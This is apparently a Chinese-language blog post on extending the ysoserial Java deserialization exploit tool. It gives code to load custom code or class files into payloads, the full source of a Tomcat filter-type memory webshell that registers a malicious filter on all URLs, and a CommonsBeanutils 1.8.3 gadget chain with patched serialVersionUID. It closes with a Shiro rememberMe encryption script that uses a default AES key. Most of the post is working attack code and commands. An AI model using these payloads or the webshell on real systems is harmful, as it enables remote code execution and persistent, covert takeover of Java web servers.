ysoserial的使用 ysoserial 主要有两种运行方式
一种是利用 java -jar 运行主类函数,利用 gadget 生成反序列化 payload
java -jar ysoserial.jar CommonsCollections1 calc
另一种是利用 java -cp 来指定 exploit 包下的特定类来开启交互服务,执行远程攻击
例如:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc'
高版本jdk指令如下。因为高版本对反射访问进行了严格的限制。需要明确地开放某些模块才能让 ysoserial
访问需要的类和成员。下面指令适用于java8高版本-java17
1 java.exe --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc'
使 ysoserial 支持自定义代码 参考:
ysoserial 工具改造(一) – 天下大木头 (wjlshare.com)
使ysoserial支持执行自定义代码 | 回忆飘如雪 (gv7.me)
分析 先看看我们命令行指定的命令这个参数会在哪里被用到,首先ysoserial会从命令行获取两个参数
用cc2来调试一下
用Utils.getPayloadClass
方法获取CommonsCollections2
这个类,实例化之后调用其getObject方法来获取恶意类。并且将我们的命令作为参数传入
调用Gadgets.createTemplatesImpl
方法创建恶意templates,命令作为参数。
可以看到我们的命令被拼接进Runtime的exec函数了。
实现 根据木头师傅的文章添加了四种方式
序号
方式
描述
1
“code:代码内容”
代码量比较少时采用
2
“codebase64:代码内容base64编码”
防止代码中存在但引号,双引号,&等字符与控制台命令冲突。
3
“codefile:代码文件路径”
代码量比较多时采用
4
“classfile:class路径“
利用已生成好的 class 直接获取其字节码
先将这一行代码注释掉
1 2 3 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\" , "\\\\" ).replace("\"" , "\\\"" ) + "\");" ;
将上面代码改为如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 String cmd; if (command.startsWith("code:" )) { cmd = command.substring(5 ); } else if (command.startsWith("codebase64:" )) { byte [] decode = new BASE64Decoder ().decodeBuffer(command.substring(11 )); cmd = new String (decode); } else if (command.startsWith("codefile:" )) { String codefile = command.substring(9 ); cmd = CommonUtils.getCodeFile(codefile); } else if (command.startsWith("classfile:" )) { String classfile = command.substring(10 ); final byte [] classBytes = CommonUtils.readClassByte(classfile); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][]{classBytes}); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); return templates; } else { cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" , "\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; }
CommonUtils.java
工具类代码如下,cmisl软件包用来管理自己额外添加的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package ysoserial.cmisl;import java.nio.file.Files;import java.nio.file.Paths;import java.io.IOException;public class CommonUtils { public static String getCodeFile (String filePath) throws IOException { return new String (Files.readAllBytes(Paths.get(filePath))); } public static byte [] readClassByte(String classFilePath) throws IOException { return Files.readAllBytes(Paths.get(classFilePath)); } }
测试 假如现在有一个反序列化漏洞,依赖是commons.collections3.2.1,我们要打回显内存马,可以指定参数为CommonsCollections3 classfile:xxx\Tomcat_Echo_Evil_Filter.class
Tomcat_Echo_Evil_Filter.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Map;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.ServletContext;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationFilterChain;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;public class Tomcat_Echo_Evil_Filter extends AbstractTranslet { public Tomcat_Echo_Evil_Filter () { } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & -17 ); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & -17 ); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & -17 ); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); if (!WRAP_SAME_OBJECT_FIELD.getBoolean((Object)null )) { WRAP_SAME_OBJECT_FIELD.setBoolean((Object)null , true ); } if (lastServicedRequestField.get((Object)null ) == null ) { lastServicedRequestField.set((Object)null , new ThreadLocal ()); } if (lastServicedResponseField.get((Object)null ) == null ) { lastServicedResponseField.set((Object)null , new ThreadLocal ()); } ServletRequest servletRequest = null ; ServletResponse servletResponse = null ; ThreadLocal threadLocal; if (lastServicedRequestField.get((Object)null ) != null ) { threadLocal = (ThreadLocal)lastServicedRequestField.get((Object)null ); servletRequest = (ServletRequest)threadLocal.get(); } if (lastServicedResponseField.get((Object)null ) != null ) { threadLocal = (ThreadLocal)lastServicedResponseField.get((Object)null ); servletResponse = (ServletResponse)threadLocal.get(); } if (servletRequest != null && servletRequest.getServletContext() != null ) { ServletContext servletContext = servletRequest.getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext)stdctx.get(applicationContext); Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs" ); filterConfigsField.setAccessible(true ); Map filterConfigs = (Map)filterConfigsField.get(standardContext); String filterName = "cmisl" ; if (filterConfigs.get(filterName) == null ) { Filter filter = new Tomcat_Echo_Evil_Filter$EvilFilter (); FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*" ); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef); filterConfigs.put(filterName, applicationFilterConfig); servletResponse.setCharacterEncoding("utf-8" ); servletResponse.setContentType("text/html;charset=utf-8" ); servletResponse.getWriter().write("[+]filter型内存马注入成功<br>" ); servletResponse.getWriter().write("[+]URL:http://localhost:8080/FilterMemoryShell_war_exploded/" ); } } } catch (Exception var19) { } } }
将输出结果base64加密一下
serialVersionUID问题 不同版本依赖问题(serialVersionUID问题) ysoserial 自带的cb链依赖版本是 1.9.2 ,但是我们shiro经常用到1.8.3版本的 commons-beanutils依赖 。由于版本不同,我们使用1.9.2的cb链payload,在存在1.8.3版本的 commons-beanutils依赖的漏洞环境中,由于serialVersionUID不同,反序列化会发生serialVersionUID报错,导致无法成功执行。
如果我们希望ysoserial工具既可以存在1.8.3版本的cb链,也存在1.9.2版本的cb链,就需要通过自定义的 classloader 来打破双亲委派机制,从而实现依赖隔离。
简单来说,Java中的类加载器(ClassLoader)通常会先让父类加载器加载类,这叫“双亲委派机制”。这种机制有时会导致依赖冲突,比如我们需要不同版本的库。为了避免每次修改依赖和重新打包,我们可以自定义一个类加载器,改变默认的类加载方式,让它优先加载特定版本的库,实现依赖隔离,从而纠正serialVersionUID问题。
javassist动态修改serialVersionUID 将StubTransletPayload替换成CmislTransletPayload
1 2 3 4 5 6 7 8 9 public static class CmislTransletPayload extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
Gadgets#createTemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public static <T> T createTemplatesImpl (final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (CmislTransletPayload.class)); pool.insertClassPath(new ClassClassPath (abstTranslet)); final CtClass clazz = pool.get(CmislTransletPayload.class.getName()); String cmd; if (command.startsWith("code:" )) { cmd = command.substring(5 ); } else if (command.startsWith("codebase64:" )) { byte [] decode = new BASE64Decoder ().decodeBuffer(command.substring(11 )); cmd = new String (decode); } else if (command.startsWith("codefile:" )) { String codefile = command.substring(9 ); cmd = CommonUtils.getCodeFile(codefile); } else if (command.startsWith("classfile:" )) { String classfile = command.substring(10 ); final byte [] classBytes = CommonUtils.readClassByte(classfile); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][]{classBytes}); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); return templates; } else { cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" , "\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; } clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Cmisl" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte [] classBytes = clazz.toBytecode(); clazz.writeFile("payload" ); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][]{ classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; }
CommonsBeanutils1_183.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package ysoserial.payloads;import javassist.ClassPool;import javassist.CtClass;import javassist.CtField;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.math.BigInteger;import java.util.Comparator;import java.util.PriorityQueue;@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({ Authors.FROHOFF,Authors.CMISL }) public class CommonsBeanutils1_183 extends Object implements ObjectPayload <Object> { public Object getObject (String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); ClassPool POOL = ClassPool.getDefault(); CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator" ); try { CtField ctSerialVersionUID = ctBeanComparator.getDeclaredField("serialVersionUID" ); ctBeanComparator.removeField(ctSerialVersionUID); }catch (NotFoundException e){} ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;" ,ctBeanComparator)); final Comparator comparator = (Comparator)ctBeanComparator.toClass().newInstance(); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , (Comparator<? super Object>)comparator); queue.add(new BigInteger ("1" )); queue.add(new BigInteger ("1" )); Reflections.setFieldValue(comparator, "property" , "outputProperties" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = templates; return queue; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsBeanutils1_183.class, args); } }
使用了javassist技术动态修改serialVersionUID为我们需要的值。
加密脚本(因为加密脚本问题踩坑几个小时)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.govuln.shiroattack;import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.util.Base64;public class Client1 { public static void main (String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); clazz.writeFile("cmisl" ); byte [] payloads = new CommonsBeanutils1Shiro ().getPayload(clazz.toBytecode()); byte [] test = Base64.getDecoder().decode("base64data" ); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(test, key); System.out.printf(ciphertext.toString()); } }